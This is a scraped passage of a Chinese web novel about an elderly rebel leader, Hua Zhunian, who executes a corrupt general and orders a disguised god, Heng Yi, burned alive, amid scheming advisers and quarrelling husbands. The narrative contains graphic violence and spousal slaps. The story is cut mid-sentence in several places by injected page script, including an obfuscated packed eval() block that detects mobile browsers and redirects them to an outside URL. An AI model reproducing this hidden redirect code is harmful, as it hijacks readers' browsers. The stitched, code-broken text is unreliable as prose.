“不是,你死不死啊?人家两口子的事儿,你一个败将趴断头台上,搁这儿说你妈的梦话呢?都要被斩了,现在拍这个马屁有什么用?不如跟老子一样痛痛快快地骂一场,没见过这么舔的,你这会子舔她有个屁用?她是能放了你咋地?我真服了!她斩你,我都怕你舔她刀!” 鲁戎生气地走到花祝年面前:“他到死都还在维护你。” “他不是在维护我,你没听武寒仇说么?他不过是在为自己争取一线生机。” 鲁戎气得冷笑一声:“我也是真服气!你别后悔就行。” 她不后悔。 就算是杀错了,也绝不后悔。 因为她没有退路。 花祝年现在宛如冰冷的规则机器。 无论对方的发心如何,但凡是可能阻挡她大业的,都难逃一死。 无情地近乎于冥冥之中的道。 死了那么多人才换来的天下,绝不能落入蝇营狗苟之手。 今天这两个人都得死。 他们死得其所。 武寒仇不会知道花祝年,是如何查出来的。 他绝不知道是谁给她告的密。 因为在他这样的人心里,死去士兵的命是不值钱的,他给了相关者足够的利益,是绝不会遭到背叛的。 可他不知道的是,在这个世界上,还有跟他不一样的人。 有很多人是兄弟几人一起出来从军的。 其中,有一个哥哥在九年前死去,本来是不用死的,是哥哥给弟弟换了兵器。 弟弟当时年纪小,还不如何懂事,等他到了哥哥这个年纪,成为了兵器质检的一员。 武寒仇刚好找到他,想让他入伙。 弟弟一面假意入伙,一面将一切告知了花祝年。 他明明可以收下武寒仇的钱,毕竟,只是一个小兵而已,就算进京后,也不会给他如何大的职位,怎么看都是武寒仇给他的更多。 花祝年当时出于谨慎,问这个人,为什么要告诉她,不怕她跟武寒仇是一伙的吗? 毕竟,上面看起来一团和气。 弟弟说,当初起义,是靠着被前朝欺压的愤怒,才一路厮杀到今天。 倘若变得跟前朝一样,那就不要起义了,他看不到任何希望,就算胜利了,家里的爹娘也不过是换了一拨人,来继续欺负他们而已。 他只是最后来试试,看她有没有变,还是否如当初一样地愤怒。 如果她不怎么愤怒了,那处死他,也是他活该。 谁让他有眼无珠,一直以来,竟跟错了人。 花祝年问他,要什么奖赏? 他说,不为奖赏而来,就要武寒仇死。 他不死,不足以血祭那些死去的英灵。他要武寒仇,以人尽皆知的方式死去,要让他的死成为对同类的绝对震慑。 如果和前朝一样,那就白起义了。贪腐的口子,必须得刹住。 这还不是搜刮民脂民膏,是在交战之际,居然拿士兵的性命当儿戏。 这样的人,若是得了天下,那就完了。 今后,也不再有人会相信她。 花祝年跟弟弟承诺,会依照军纪处决武寒仇。只是,不是现在,要再等等。 她问他,相不相信自己? 一般来讲,这时候弟弟该自刎了,但凡是举报没有得到迅速处置的,都是被保了下来,后面就该翻旧账了。 弟弟却郑重地“嗯”了一声。 这一等,就是三年。终于,让他等到了。 他要亲眼看着武寒仇死! 武寒仇死到临头还在骂,甚至越骂越起劲儿,像是要把内心的怨恨全都骂出来一样。 “他妈的,老子为你出生入死这么多年,弄你点儿钱怎么了?这要是放在前朝,算个什么事儿?” “哪儿用得着上断头台?水至清则无鱼,我不过是贪了两次,才两次而已,两次你都不容忍,那你这辈子也就这样了,看不出将来有什么出息!” “花祝年,你这个老妖婆,别人都是英雄识英雄,你他妈的老妖婆杀英雄。早知会落到如今的下场,老子就不跟你了!老子他妈的跟着哪个首领,人家不是好吃好喝地伺候着?” “就是跟着你,彻底断了老子的英雄梦!老子好歹也是一代枭雄,偏偏遇上了斤斤计较的女人,没听过弄点儿钱要斩首的。哈哈哈哈哈,真是天大的笑话!” “老子就是做了鬼也不会放过你,老子在地府等着你。你看着,到时候,没人守护你了,老子有一百种方法让你连鬼都做不成。” 花祝年并没有被吓到,她平静地说道:“那你可千万要等着我,别食言。别说你到了地府不让我安生,我也并不是很想让你安生。” 武寒仇这人吧,还是挺有意思的。 狠话放完了,就开始求饶。 因为,他预感到,她是要动真格的了,死亡的恐惧,压迫着他的心,整个人变得前所未有的紧张。 讲话的声音都带了些颤音,不再似往日那般中气十足。 “首领,老子看你也是个好汉,要不,你再饶我一命?虽说现时天下太平了,可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 万一将来边疆异族来扰,老子保准第一个出去干仗!” “我是个非常难得的人才,你斩了我,肯定会后悔的。我知道错了,你给我一个改正的机会。现在还没有进京,百姓也不知道我的这些事,并不会影响你在百姓心中的形象。你放了我,我这条命,就是你的。” 就在众人都以为花祝年不会同意的时候,她却罕见地同意了。 “你再供出些人来,就算戴罪立功了。” 武寒仇陷入到艰难的抉择之中。 他现在其实仍旧是不服软的。 衡羿从他的眼睛里就能看出来,他有反意。 花祝年上午饶了他,下午他就能杀了她。 武寒仇的眼睛,跟禽兽的眼睛很像。 但凡在战场上跟他交过手的,就没有不害怕他的。 眼睛不大,黑眼珠只有一点儿,眼白偏多,还带着猩红的血丝。 看人的时候,会变成竖瞳。 平心而论,他是个让人畏惧的对手。 级别也不算低。 所以,在他被虎翼抓来这里时,众人才感到震惊。 武寒仇同花祝年商量道:“我可以交待,但是我只跟军师交待。你让风和畅过来,我说与他一人听。” 花祝年示意风和畅过去。 风和畅咬牙切齿地走了过去,袖口里藏起了一把重锤。 他俯下身子来,听武寒仇讲话。 武寒仇低声对风和畅威胁道:“你得保我,不然我把你们都扯下水。” 风和畅笑道:“好。” 他笑着摸上了武寒仇的颈,用了今生最大的力气,一锤定音。 衡羿眼睁睁地看着武寒仇那双,如狼一般凶狠的眼睛,被重锤砸得稀烂。 一锤到底,眼睛都碎了,更不要提他的脑壳了。 风和畅曾经用特殊手段,抢夺了旁人的命数,当过十世王侯,十世将相,这一世又得益于花祝年爹娘的帮助,带着二十世的记忆投胎,手段和心智果然非常人所能比。 不是一般地狠辣。 哪怕是如衡羿这般轮回百千万世的神,看到这样的场景,心都颤了一下。 愈发地担心小信徒的处境。 风和畅一边拿出手绢,轻擦着自己脸上的血,一边低声对那堆血物教训道:“交待你自己的事儿就完了,扯旁人的事做什么?一天天逼逼赖赖的。” 只有衡羿听到了这些话。 他知道,风和畅是在训鬼。武寒仇那样暴烈的人,也不过是他一锤子的事。 那他的小信徒将来怎么办? 她是怎么跟这样的人,共事这么多年的? 风和畅一锤敲碎武寒仇,军中的一些将领这才放心下来。 可这虽然放心了,却也不免有新的担心。 他们现在倒是不怕花祝年了,开始怕起风和畅来了。 弃子就是这般下场。 如今这样的情形,花祝年理应生气,毕竟她是让风和畅去问话的。 没让他一锤敲碎他的脑袋。 可她居然没有,神色如常,就连风和畅也吃了一惊。 他都准备好一套说辞,来应对她的训斥了。 不管她训不训的,他先声夺人道:“武寒仇已经认罪伏法,此事不必再查下去了。否则,有杀功臣之嫌。” “好。” 风和畅又愣了一下,不是,这小老太怎么今天答应得这样爽快? 平日里不是天天跟他吵么? 可直到他转过身,看到众将士看向他的目光,才终于意识到,不好,中计了。 花祝年这个老阴比,从一开始,就不是她想斩人,她是想利用他,来斩他亲手提拔上来的人。 甚至,也没想继续查下去,她只是要武寒仇死在他手里。 在官场上,护不住手下是大忌。 唉,他怎么给忘了?光顾着灭口,保其他人去了,忘记这茬儿了。 连小弟都护不住,以后再有掉脑袋的事,谁还跟着你干? 他就这么干脆利落地解决了武寒仇,那些有牵扯的将领虽然感激他,可日后却未必再为他所用了。 花祝年是故意的。 故意让他陷入到两难的境地里。 保武寒仇,就护不住利益链上的人,到时候杀得更多。可亲手弄死武寒仇,也会造成自己利益团体的离心。 阴,她实在是太阴了! 风和畅忽然觉察到一阵彻骨的寒冷,她在悄然瓦解他的权力集团。 这个毒妇!她是他见过全天下,最阴毒的毒妇! 当初他不该眼馋她的天命,推她做首领的。 她现在已经在逐步脱离他的掌控。 怎么会有这样的事?这小老太不好好过安生日子,总是贪恋权力干嘛? 是能让她生儿子咋地? 风和畅想不出花祝年如此阴险的动力到底是什么。 倘若换了别的男人,那肯定是财富、权势、女人,也无非是这三样。 可他,竟想不出小老太究竟要什么。 她可真是,让他栽了个大跟头,兵不血刃地就离散了他多年的布局。 看来,不能再留她了。 风和畅的眼中,已经显现了杀机。 他才不管她什么天命不天命的,当初在地府,有人曾跟他说过,他是将军筋,宰相骨,哪怕投自清贫之家,也照样将天下收于掌中。 这是他一直都很笃定的事! 一个半路杀出来的小老太算什么? 他不过三十出头,可她今年已经六十五岁了。 她怎么敢跟他争? 花祝年看向趴在断头台的衡羿,对风和畅说道:“既然军师已经解决掉一个,就把那个也给捎带着解决了吧。” 鲁戎忍不住上前想要制止,却被虎翼给按住了。 “你别添乱,没看现在形势多严峻吗?一个贪腐,一个背叛,都是必死的。” “他背叛的是别人!又不是她。” “那也得死。不杀不足以立军心,夫人对背叛对手的人都这么狠,他们就该掂量掂量接下来的站队问题了。” 鲁戎觉得虎翼和花祝年已经疯逑了! 她冷冷地感叹道:“原来,权力真的会让人变得面目全非。” 虎翼并不觉得被讽刺,她十分坦诚地说道:“是啊,只有权力才能救人于水火。失去权力,就是重新掉入到水深火热之中。” 风和畅一步步去到了衡羿身边。 其实,他早认出这个人,就是当年被贺平安砍了几十刀的奸夫。 不仅他认了出来,宋礼遇跟贺平安在他被捕之时,就认出来了。 男人对情敌总是很敏感的,他们一直默契地瞒着花祝年。 就在风和畅举起锤子的时候,衡羿悠悠地说道:“我能不能,不死呢?我也想效力。” 贺平安插嘴道:“你效什么力?我都不好意思说你,你就是想当奸夫!当年我就逮住过你俩——” 他的话还没说完,就被宋礼遇捂住了嘴。 贺平安不耐烦地掰开他的手:“你堵我嘴干什么?” “她好歹也是我夫人,我们是拜过堂的。你能不能给她留点面子?说奸夫就说奸夫,你扯她干嘛?” “不是,我不扯她,那怎么能突出奸夫的可恨?你说这孙子多可恨,老子好心收留他,结果他大半夜,把老子婆娘抱怀里亲。” 周围的人吃瓜都吃饱了…… 宋礼遇恼道:“我警告你,你别再说这种话!” “你个老神经,你警告我干嘛?你不批判奸夫?” “我为什么要批判他?夫人有权力玩几个男人,古今的帝王谁不是三宫六院,她纳几个男人入宫怎么了?你老在这里闹什么?连这都忍不了,你还当什么男人?” 贺平安啪地一下,甩了宋礼遇一个大逼兜:“这谁能忍得了啊?老子知道你为什么帮奸夫说话,你老小子就没安好心眼儿。你还做着让她把你纳进后宫的春秋大梦!老子就这么跟你说,你想都不要想!我是她唯一的皇夫!” 宋礼遇爬起来,指使者自己的侄子,上去踹了贺平安一脚。 “你不要以小人之心度君子之腹!老夫怎么就做梦了?再说了,就算让我进后宫,那有什么不可以的吗?夫人是我明媒正娶的,十五年前就拜过堂了!” 论名分,他也是有的。 102. 若是真要论起来的话 衡羿生无可恋地看着这两个聒噪的男人。 淡然之余还有些许的鄙夷。 不是,人怎么能丢脸成这个样子? 他完全没办法想象,自己在大庭广众之下,为了入宫的资格,不顾脸面地跟人争吵…… 每天吟诵八百遍——要远离自己癫癫的小信徒,还有她身边那群癫癫的男人。 衡羿是那样吝啬于为自己的小信徒做事。 从四十五年前就吝啬。 他不会为她下凡,不会在贺平安打她时出手,不会回应她漫漫长夜中,所有带着血泪的祈祷。 哪怕他知道,每次她在最需要他的时候,都正忍受着极度的绝望和恐惧。 可他就是一次都没有理会过。 他吝啬得像仙界葛朗台,冷漠得像雪玉冰山。 让他这样至高无上的神,做出如此有失身份的事,恐怕再过几万年也不可能。 他不会为了她跟任何一个男人嘶吼怒骂、打得你死我活…… 那些庸俗的情感,在他身上找不到一点儿。 她别想再来扰他。 衡羿老实巴交地等待着风和畅行刑。 这怎么不算是一种致命救赎呢? 一锤子下来,他就回天上去了,再也不用在她手底下做事,他可真是谢谢她了。 风和畅本来就被花祝年气得不轻,现在看这两个老不死的,居然在争抢着进后宫,更觉得生气了! 做男人做到这份上,真是丢人现眼。 平时脸上总是挂着浅浅笑意的风和畅,终于装不起来了,他不耐烦地说道:“你们吵完了没有!这儿准备行刑呢!是听你们吵,还是我来锤?要不你们来也行!” 贺平安一听有机会直接弄死这孙子,直接自告奋勇道:“我来我来!” 他早想弄死他了!十五年前让他溜了,真是不痛快。 敢觊觎他的婆娘,该杀! 贺平安举起那柄重锤,正欲落下之际,衡羿突然轻喃道:“一般来讲,我是不计较名分的。” 贺平安上去踹了他一脚:“你有你妈的名分!一个仗着自己年轻,就勾人婆娘的奸夫而已。” 衡羿倒也没怎么发怒,他不是凡间那种凡夫俗子,才不会为了名分争竞什么。 但该说的,他还是要说。 他一副平静淡然的模样,说出来的却是庸俗至极的话。 “若是真要论起来的话,你跟宋礼遇都得给我执妾礼。” 这个话,只有贺平安听得到。 别人都知道这块儿要行刑,生怕溅自己一身血,所以离得远远的。 贺平安人没什么文化,但执妾礼他是听得懂的,当时火就蹿上了后背。 他揪起衡羿的脑袋,哐哐地往台子上猛磕了几下。 “执妾礼?我让你执妾礼,执你妈的妾礼!你一个奸夫,连门都进不了,在这儿贬损谁呢?你给老子执妾礼,都没资格!” 花祝年离得虽远,可也隐隐约约能听到些东西。 不是,什么执妾礼? 明明一锤子就能搞定的事儿,是怎么扯到执妾礼上去的? 宋礼遇也纳闷儿,“执妾礼”这几个字,根本不像从贺平安嘴里出来的。 他向来骂骂咧咧的,哪懂这些文词儿啊? 到底谁给谁执妾礼啊? 不会是他给贺平安执妾礼吧!那怎么成呢?都是明媒正娶的,怎么也得平起平坐啊! 衡羿的脑袋一点儿也不疼,主要是心比较疼。 唉,她让风和畅杀他也就罢了,怎么还允许贺平安杀他呢? 她也是干上宠妾灭夫的活了。 他要诅咒她,诅咒她长命万岁,万岁万岁万万岁,跟他一样永世孤独,孑然一身。 都要死了,也没能看上她一眼。 早知道,刚才就不闹脾气了,他应该看她一眼,再走到断头台的。 衡羿闹起脾气来非常细微,故意从她身旁走过,但就是不看自己的小信徒! 他觉得她应该会发现。 哈哈哈哈哈,实际上花祝年根本不会发现! 就是发现了也不哄。 贺平安天天发脾气,动静要多大有多大,也没见她哄过一次。 更何况像他这种,暗戳戳地发脾气,就跟没发一个样。 贺平安已经决心要弄死他,便不再听他废话,一柄重锤狠敲了下去。 在敲下去的瞬间,本来晴得好好的天气,忽然间阴云密布,电闪雷鸣,一道惊雷直接打下来,将他手上的重锤劈得四分五裂。 衡羿叹了口气,还是没死成。 他一般不骂天道老登,但老登是真不干人事儿。 又不让俩人在一起,偏偏又创造在一起的机会。 真在一起了,又要让他永失所爱。 有时候,真的很想带小信徒去天上,让她把天道老登揪下来,狠抽两巴掌。 他不敢惹的东西,她还不敢惹么? 衡羿一想到小信徒发脾气的样子,就总是会笑。 他喜欢看,曾经在天上,看了好多年。 贺平安是见过不少大场面的。 此刻,竟也愣在了原地。 天雷干扰刑罚的场景,多年前,是有过的。 严格上来讲,上一个情景再现的,是薛尘。 是他跟宋礼遇的前夫哥,也是永远不会再翻案的千古罪臣。 风和畅有着二十世的记忆,甚至,上一世谋划杀薛尘的人里,就有他。 当时,所有人都知道,薛尘有什么所谓的天命,是上天要留的人。 可他并不敬畏上天,就是杀了薛尘,内心也没有如何慌乱。 他从来就看不起一个,从乡下打上来的土小子。 被一些老谋深算的人鼓励几句,就甘心去沙场上赴死。 他以为自己是什么?不过是他们这些人博弈的棋子而已。 可现如今,居然又出现了跟薛尘有同样经历的人。 风和畅又正欲推花祝年下台,苦恼没有一个好的理由,现在这不是现成的么? 不过,他叫什么来着? 风和畅疯狂在脑海中搜索着…… 薛尘?不,不是叫这个。哦,薛凡,对他叫薛凡。 你看看这不是赶巧了么?他刚好可以说这是薛尘转世,薛尘又是曾经被花祝年供奉了许多年的神。 一个神仙下凡救世也是有可能的。 真假不重要,让他夺了花祝年的位子才重要。 而且,风和畅觉得,薛凡这个人,大概脑子缺根筋,上人家里去勾引女人,好歹也出来找个客栈啊。 这样脑子简单的人,最容易被控制了。 风和畅又要开始造神了。 他枯藤一下跪了下来,双手举过头顶,大声叫嚷着:“上天慈悯,降下英神,再塑河山。旧神已去,新神归位!” 当初跟他一波的将领,犹豫着要不要跪。 如果说之前的发展,皆在花祝年的掌控之下。 她并未慌过分毫。 可现在,确乎已经超出了她的预期。 她不再端坐高台,缓缓地站了起来。 “谁敢跪,我打断他的腿。” 小老太别的本事没有,可说出去的话,向来都能做到。 搞得一众将领,跪也不是,站也不是。 她走下高台,目光又沉又狠,仿佛能锤进每个人的心里。 无人敢与她对视。 “我早在十五年前,就说过,天上没有神,薛尘也没有被封神。我们有今天,能取得天下,靠的是百姓的信任,靠的是士兵作战英勇,靠的是战略失误少。不是求神拜佛!” “一路走来,灭佛灭道灭吏,灭天灭地灭神,倘若真的有神的话,天下大乱的时候,他们早干嘛去了?我灭他们的时候,他们又干嘛去了?我都要灭他们了,却不敢出现在我面前,算什么神?有这么窝囊的神吗?” 有,还不少! 只不过,神界的规矩是,妻子做错事,丈夫全担着。 陨落的满天神佛,早把衡羿喊过去,满腔委屈地骂过一通了。 如果花祝年觉得自己,没有被神佛惩罚的话—— 那一定是有一个至高无上的神,在替她负重前行。 其实满天神佛也挺难的,日后回归神位,算账都找不着人。 毕竟那时候,她早已经不在了,搞不好衡羿还会发大疯。 谁还敢提她对自己干的事儿? 那不是找不痛快么?人都已经无处觅寻了,还有什么不能原谅的呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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打败他的,不是小老太,是一旁袖手旁观的将领。 但凡她反坐在他身上,要断他两条腿的时候,有一个人站出来帮他,他都不会如此地没底气。 久经权力斗争的人,是看得出来的。 他们争的并不是神的存在权和解释权,而是未来对此间山河的掌控权。 其实,有没有神的,谁又在乎呢?有怎么样,没有又怎么样? 花祝年在得到满意的答复后,才从风和畅的身上起来。 贺平安刚想谄媚地过去扶,就被花祝年反手扇了一巴掌。 平日里,她打他,好歹有个缘故,可今天是为什么呢? 贺平安脑子笨,想不出来。 花祝年对他训斥道:“你他娘的没脑子,连膀子力气也没有么?让你解决个人就这么难?锤子被雷劈了,不知道要找新的?你胆量就这点儿,这就被吓住了?” 贺平安一时羞愧地低下头:“婆娘,我,我不是怕。我是在想,万一,这真跟前夫哥有关系,万一我杀了他,你跟我和离怎么办?” 他虽然不给前夫哥执妾礼,但心里还是尊重前夫哥的位置的。 那毕竟是在她心里放了好久好久的人。 花祝年真是怕什么来什么。 现在薛凡是不是薛尘,根本不重要!他不是,才重要! 她这儿正破除痴愚迷妄呢,他给她添什么乱? 花祝年因为贺平安这不合时宜的话,又狠甩了他一巴掌。 直接将他的嘴角打得渗出了鲜血,她的手也疼得发麻。 身边儿就没有一个让她省心的! 贺平安莽撞地问她:“婆娘,我,我是不是,说错话了?” 花祝年的声音,跟她的心一样,又冷又硬:“别说他不是薛尘,就算是,我照样斩!” 活着的时候他没帮上她一次,死后也没帮过她什么。 那就让她斩尽他所有的威名和声望,斩尽他的今生,斩尽他的来世,来成全,自己的宏图霸业! 反正,他所享有的一切,也是她给的,不是么? 衡羿的心彻底死了。 好了,小信徒要杀夫证道了。 他要再次重重地诅咒她,诅咒她坐拥万里江山,享受无边孤独。 103. 扰得他心烦意乱 人间真的是地狱。 衡羿临死前想到一个地狱笑话—— 前夫死了,哭了半天坟,想起来是自己杀的。 不过,地狱归地狱,他好像也能理解她这样做的原因。 赤诚热烈的老实人,都会在权谋者的摆布下死去,活着逃出来的都是怨鬼。 不怪她。 他不能指望一个从血海里杀出来的小老太,在别人想利用他扳倒她时,还对他这枚棋子,怀有什么仁慈之心。 既然已经站在了她的对立面,那就要接受相应的后果。 别说只是疑似白月光,就算白月光真来了,也得死。 小信徒越是要当众斩杀他,就表示心里越害怕。 她害怕权力的流失,害怕她的一切被风和畅夺走。 他几乎感受得到她心里所有的情绪。 其实,她内心也不是那么坚决地要杀他,就连武寒仇被杀时,她也是很心痛的。 是的,是心痛,并非是畅快。 武寒仇曾经是她忠实的拥护者,他对前朝的愤怒,甚至比她的还要重。 从军前,他还不叫这个名字,他叫文澜山。 是南边的一个闲散富贵人,家中自然也结交过不少当地的权势者。 生意做得不比花家的小。 他的前半生,继承落败的祖业,用上辈的那一套运作方式,哪怕是在乱世,也将家业翻了几翻。 可以说,是花祝年的对照组。 花祝年没能守住家业,也不愿攀附那些人,所以落得惨淡收场。 本来,文澜山应该到死,都是个闲散富贵人。 平日里,赏赏花,溜溜鸟,听听书,这一天就过去了。 可偏偏生意做大了,就不免被人盯上,哪怕是他按月给上边儿送,也仅仅是下边那些官差,不找他的事儿而已。 但碍不住乱世磋磨啊。 在他做生意的地方,有军营驻扎,月月去他那里讨要军饷。 本来这该是上边儿出钱,可是却一个劲儿地往他那里讨。 而且,军饷给了也没见他们保护百姓,补贴下边的小兵,反而是几个将领全用来自己挥霍了。 乱世生意也不那么好做,光是给上边儿就交一半儿的钱,除此之外还要讨好另一个系统的军爷。 被这朝堂和军营磋磨着,一年下来,家里能拿到的钱,也不过占一二分而已。 文澜山气不过,每到年关都跟自己夫人抱怨,气得捶胸顿足嗷嗷大哭。 夫人也没什么办法,只能说让他多忍耐。 因为哪边儿都惹不起。一边儿是保他安稳做生意,一边儿是保他家人性命。 文澜山就一直这样忍耐着。 可偏偏刚过年不久,军营里就来人收银子,嫌年前给的少,说弟兄们年都没过好。 全赖他。 文澜山有个五岁的小儿子,三岁能读诗,五岁能识经。 其实不应该开慧太早的。 书里教的东西,在太平盛世尚且无人听从,在乱世讲那些,简直是在找死。 小儿子当着一个军爷的面,爬到椅子上斥责了他们一番。 说他们是禽兽,禽兽都不如。 还说,他们这些人,不应该欺压百姓,应该多听听圣人的话,圣人说治理国家最基本的,就是要“黎民不饥不寒,养生丧死无憾。” 他以为,这些人会如古书中,所描述的上位者一样,虽然听不惯自己讲话,但并不会计较这些。 理应有上位者的心胸和气魄。 可实际上,并没有。这些人都是靠裙带上去的,有个屌的心胸和气魄。 文澜山听完自己小儿子的话,立即将他拎了下来,当着那些人的面痛打了一顿。 甚至连连赔礼道歉。 可对方只笑着说:“小孩子懂什么?” 文澜山连忙赔笑:“是是是。童言无忌,童言无忌。” 哪料对方瞬间变了脸色:“还不都是大人教的!” 文澜山吓得当即就跪了下来。 那些人是上午走的,文澜山是下午找人疏通关系,赔礼道歉的。 他以为自己能逃过厄运。 结果,当天晚上,水缸里的水结成了冰,夜深气寒,一群匪徒闯了进来。 他们的动作非常专业,不像一般的匪徒。 护院的家丁,被解决干净了。 文澜山一家被抓,他们跪在院子里结了冰的地面上,只求一条活路。 可是,那些人没有给。 最先被杀的,是他的小儿子,对方杀之前说,圣人的话,就是用来哄骗你们这些纯傻子的。 此人非常之恶毒,杀了人,还要泯灭小儿子所有的希望。 文澜山一家被杀后,尸体跟家丁的混在了一起,被烧了。 那群匪徒一边烧着尸山,一边在文家的宅院中畅饮。 他是被烟呛醒的,因为压在最下面,所以没有立即烧着他的躯体。 他能感觉到自己的心脏在簌簌地往外冒血,但不知道怎么回事,那么大的口子,他居然还没死。 就这样,他趁着那群匪徒醉酣之际,从死人堆里爬了出去。 自此,文澜山改名武寒仇,他誓要手刃仇人。 那群有专业杀人素养的人,根本就不是山匪! 是之前来家里索要军饷的人。 他不是不给,明明给了,只是因为小儿子拿书里自己所相信的话,怼了那些人几句,竟落得如此下场。 他去投靠了花祝年。 听说她有天命,还听说跟着她,可以一路杀下去。 花祝年也不负所望,半年过后,打到武寒仇的家乡时,屠了满营。 连他们的眷属也不曾放过。 武寒仇那时候对前朝旧部,还是很愤怒的。 他甚至在花祝年整顿军纪时,第一个站出来支持她,亲自斩了一个暗中克扣军粮的亲卫。 并当场放言:敢有效仿前朝者,同等下场! 她不知道他的愤怒,是什么时候开始消失的。 只知道,从消失的那一刻起,就注定了他的死亡。 可毕竟是一起从血海里走过来的,怎么会不心痛呢? 他倒在了进京的前夕。 衡羿愈发地讨厌人间的一切。 他觉得上天真是故意在折腾人间的可怜人。 给他们滔天的仇恨,支撑着凡人厮杀,最后又犯下滔天的罪孽,然后遭到和前人一样的惩罚。 多少英雄豪杰,都逃不过这种宿命。 衡羿觉得自己的小信徒,其实再怎么力挽狂澜,也是毫无用处的。 只要乱世一平定,众人的心终是会散的。 那份愤怒迟早会消散。 人人骂前朝,笑前朝,最后自己做前朝。 江山就是个戏台子,你方唱罢我登场,上去时一个个轰轰烈烈,下来时谁不是潦草收场? 如果是他的话,他也会选择做傀儡,做到几时算几时。 才不会想着要摆脱什么。 有一个真相比较残忍,但他的小信徒至今还没有意识到…… 当傀儡的话,可以一直当到死,过的也是锦衣玉食的日子,可但凡有半点儿想制衡的心思,那上去后可能连半年都活不过。 花祝年刚刚去拎了一大桶油过来。 上天刚才不是降下天雷,劈开了那柄重锤么? 所以,她在斩杀他之际,突然不准备用刀了。 主要是她冒不起那个险,其实她已经隐隐有感觉到,这大概真的是上天要留人。 可她偏要对着干!她才不管他是谁。 花祝年准备浇上油,一把火烧死他。 上天就是下雨,也灭不了他身上的火,没有人能救他。 兵器过刚易折,也怕被雷劈裂,可油火是不怕的。怎么不算是一种柔弱胜刚强呢? 贺平安接过油桶,哗啦一下泼了过去。 衡羿的身上,现在全是做饭用掉的废油,她这都要杀他了,竟然都不肯用好一点的油给他! 真是又好气又好笑。 他低垂着头,废油从他的下巴处滴落。 衣服因为浇了油,紧贴在他的身上,勾勒出…… 呃,其实花祝年没在意他身材怎么样,她现在主要是想弄死他。 但贺平安非常在意这个!毕竟这个正值壮年的后生,是真的勾引过自己婆娘的! 他上前想去接花祝年的火把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890009|132764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“婆娘,我来吧。” 花祝年瞪了贺平安一眼,他忽然间大闹起来:“你瞪老子干嘛?是不是看他身材比老子好,你又舍不得杀他了?” 宋礼遇皱着眉头,赶在花祝年抽他巴掌面前,紧急把他拉扯开了。 要说,贺平安真是个人才。 无论现在的情况如何危急,他真是半点儿都不在乎,就一门心思要看好自己婆娘。 好像稍一疏忽,她就不要他了一样。 即便是宋礼遇将他拉扯开后,他还在那儿不依不饶地闹腾:“老子帮你下手,你还不愿意!我看你真是老糊涂了。” 花祝年懒得理贺平安,她之所以不让贺平安动手,是担心再发生方才的事。 万一上天又有什么异常,他再愣在原地,岂不是有损她的威严? 这人她要自己处死。 花祝年走到衡羿身后,举着火把望向苍天,沉静地开口道:“此人不忠不义,背叛旧主,我杀他,是理所应当。” 这是明晃晃地挑衅上苍,上苍自然也给予了猛烈的回应。 阴云叠得比之前还要密,凛风卷起刑场的尘土,周围的一切都是土黄土黄的。 衡羿虽然始终都低着头,却忍不住嗤笑道:“你真是疯了。居然妄想以人力去操控人心。良禽择木而栖,这不是很正常的事情吗?况且,君臣、父子、男女之间,本就不该有约束,既没有约束一说,又何来背叛?” “你比我更清楚,无论是豢养的死士也好,还是痴情男女也罢,彼此间的忠诚,只有在特定的阶段,才会短暂地出现。说到底,不过是维护自身利益的手段。” 花祝年气得冷笑一声:“这样大逆不道的话,你都说得出口?” 衡羿反问道:“我怎么大逆不道了?你看历代帝王,都是去泰山封禅,祭天祭地,可是,你有见泰山忠于哪个帝王吗?没有吧。” “其实不只泰山,就连天地也未曾忠于一人过。至于神仙,那就更不可能了。这些恒久的存在,见证了王朝的变迁,变才是常数。你不能指望一件东西,永远都不曾更改,或者说只忠于一个人。泰山不会忠于帝王,神仙也不会忠于凡人。帝王将相,人间苍生,也不过是这个世间的匆匆过客而已。” 衡羿不是在说自己,他只不过是想在临死之前劝说她,别再跟风和畅斗了。 跟前朝的傀儡一样,随便当当君主,弄点钱安享晚年就算了。 进京后,一边是加官进爵,高官厚禄,一边是节衣缩食,纪律严明,傻子都知道怎么选。 有谁会永远地忠于她呢? 她太过天真,天真到像个傻子。 如今的她,已经六十五岁了,举着火把站久了,费不少力气,身形都摇晃。 有谁还会跟着这样年迈的她,再打一次天下呢? 就连武寒仇这般滔天的愤怒,都能被五十代的金银所消解掉,那其他人的呢? 他言尽于此。 周围的气氛紧张到了极点。 所有人都在观察花祝年下一步的举动。 疾风猎猎,吹到脸上,如刀割一般,衡羿死到临头……居然在把玩她的裙摆。 其实也不是他想玩。 只是,风将她的裙摆一次又一次地吹过他的手。 仿若一次次地撩拨,扰得他心烦意乱,只好一把攥住。 虽然她现在要活活烧死他,但玩玩裙摆好像也没什么关系。 贺平安对这种逾矩的行为,向来盯得很紧! 他在所有人的心,都提到嗓子眼的时刻,突然怒吼道:“你、你他妈的,在干什么?” 只有他看到了,也只有他出手了。 他一脚将他踹倒在地,夺过花祝年手中的火把,恨恨地丢了过去,瞬间将他烧成一个火人。 衡羿直到被踹倒在地上,才终于能仰起头看一看她的脸。 这大概,是他最后一次看她了。 等他回到天上,就再也不会想起她。 可就在他从火光中窥得她容颜之时,突然看到了她脸上的伤口。 一看,就是被人撕咬的。 他当即就忍着被焚烧的剧痛爬了起来,浑身上下蹿着熊熊烈火,又气又心疼地质问她:“他又打你了,是不是?” 104. 他纵容她在自己身上 花祝年头一次被吓得往后退了几步。 她没有想过一个人被烧成这样,居然还能站起来问她话。 这么结实的人,要是为她所用,该多好啊。 可惜他不忠于任何人。 衡羿看到她这反应都快要气死了。 他这儿都要烧死了,她居然在望着他走神儿? 也不回应他的话! 就是他完全不能理解,回应他一下怎么了? 为什么不理他? 